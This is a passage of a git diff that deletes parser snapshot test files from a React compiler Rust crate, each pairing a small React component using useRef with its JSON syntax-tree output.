-                                  "loc": null,
-                                  "range": [
-                                    120,
-                                    123
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "current",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    124,
-                                    131
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  120,
-                                  131
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "x",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  132,
-                                  133
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                120,
-                                133
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            108,
-                            134
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          135
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      102,
-                      139
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    96,
-                    139
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    96,
-                    139
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  92,
-                  139
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              88,
-              140
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    152,
-                    161
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        162,
-                        168
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          170,
-                          171
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        169,
-                        172
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      162,
-                      172
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  151,
-                  175
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                151,
-                175
-              ]
-            },
-            "loc": null,
-            "range": [
-              144,
-              176
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          60,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        178
-      ],
-      "loc": null,
-      "range": [
-        40,
-        178
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    178
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep-2.js.snap
deleted file mode 100644
index b33ccc6775b5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep-2.js.snap
+++ /dev/null
@@ -1,349 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep-2.js
----
-Input:
-// @validateRefAccessDuringRender false
-function Foo({ a }) {
-  const ref = useRef();
-  const x = { a, val: ref.current };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          52
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                55,
-                56
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            53,
-            58
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      82
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              85
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          100,
-                          101
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          100,
-                          101
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        100,
-                        101
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "val",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          103,
-                          106
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "ref",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            108,
-                            111
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "current",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            112,
-                            119
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          108,
-                          119
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        103,
-                        119
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    98,
-                    121
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  121
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              88,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    134,
-                    143
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        144,
-                        150
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          152,
-                          153
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        151,
-                        154
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      144,
-                      154
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  133,
-                  157
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                133,
-                157
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              158
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          60,
-          160
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        160
-      ],
-      "loc": null,
-      "range": [
-        40,
-        160
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    160
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep.js.snap
deleted file mode 100644
index f637ef0fc11e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-not-added-to-dep.js.snap
+++ /dev/null
@@ -1,319 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep.js
----
-Input:
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    console.log(ref.current);
-  };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "VideoTab",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          17
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      36,
-                      42
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                68,
-                                75
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                76,
-                                79
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              68,
-                              79
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "ref",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  80,
-                                  83
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "current",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  84,
-                                  91
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                80,
-                                91
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            68,
-                            92
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          68,
-                          93
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      62,
-                      97
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    97
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              48,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    110,
-                    119
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        120,
-                        126
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          128,
-                          129
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        127,
-                        130
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      120,
-                      130
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  109,
-                  133
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                109,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              102,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          136
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        136
-      ],
-      "loc": null,
-      "range": [
-        0,
-        136
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    136
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-optional-field-no-added-to-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-optional-field-no-added-to-dep.js.snap
deleted file mode 100644
index 029918d87c72..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-optional-field-no-added-to-dep.js.snap
+++ /dev/null
@@ -1,300 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-optional-field-no-added-to-dep.js
----
-Input:
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    ref.current?.x;
-  };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "VideoTab",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          17
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      36,
-                      42
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "OptionalMemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "ref",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                68,
-                                71
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "current",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                72,
-                                79
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              68,
-                              79
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              81,
-                              82
-                            ]
-                          },
-                          "computed": false,
-                          "optional": true,
-                          "loc": null,
-                          "range": [
-                            68,
-                            82
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          68,
-                          83
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      62,
-                      87
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    87
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    87
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  87
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              48,
-              88
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    100,
-                    109
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        110,
-                        116
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          118,
-                          119
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        117,
-                        120
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      110,
-                      120
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  99,
-                  123
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                99,
-                123
-              ]
-            },
-            "loc": null,
-            "range": [
-              92,
-              124
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          126
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        126
-      ],
-      "loc": null,
-      "range": [
-        0,
-        126
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    126
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-write-not-added-to-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-write-not-added-to-dep.js.snap
deleted file mode 100644
index 5e17b98921d2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-write-not-added-to-dep.js.snap
+++ /dev/null
@@ -1,298 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-write-not-added-to-dep.js
----
-Input:
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    ref.current = 1;
-  };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "VideoTab",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          17
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      36,
-                      42
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "ref",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                68,
-                                71
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "current",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                72,
-                                79
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              68,
-                              79
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              82,
-                              83
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            68,
-                            83
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          68,
-                          84
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      62,
-                      88
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    88
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    88
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  88
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              48,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    101,
-                    110
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        111,
-                        117
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          119,
-                          120
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        118,
-                        121
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      111,
-                      121
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  100,
-                  124
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                100,
-                124
-              ]
-            },
-            "loc": null,
-            "range": [
-              93,
-              125
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          127
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        127
-      ],
-      "loc": null,
-      "range": [
-        0,
-        127
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    127
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-in-effect.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-in-effect.js.snap
deleted file mode 100644
index b58c7c9ab312..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-in-effect.js.snap
+++ /dev/null
@@ -1,582 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-in-effect.js
----
-Input:
-function Component(props) {
-  const ref = useRef(null);
-  const onChange = (e) => {
-    const newValue = e.target.value ?? ref.current;
-    ref.current = newValue;
-  };
-  useEffect(() => {
-    console.log(ref.current);
-  });
-  return <Foo onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        49,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        77
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "newValue",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                94,
-                                102
-                              ]
-                            },
-                            "init": {
-                              "type": "LogicalExpression",
-                              "operator": "??",
-                              "left": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "e",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      105,
-                                      106
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "target",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      107,
-                                      113
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    105,
-                                    113
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "value",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    114,
-                                    119
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  105,
-                                  119
-                                ]
-                              },
-                              "right": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "ref",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    123,
-                                    126
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "current",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    127,
-                                    134
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  123,
-                                  134
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                105,
-                                134
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              94,
-                              134
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          88,
-                          135
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
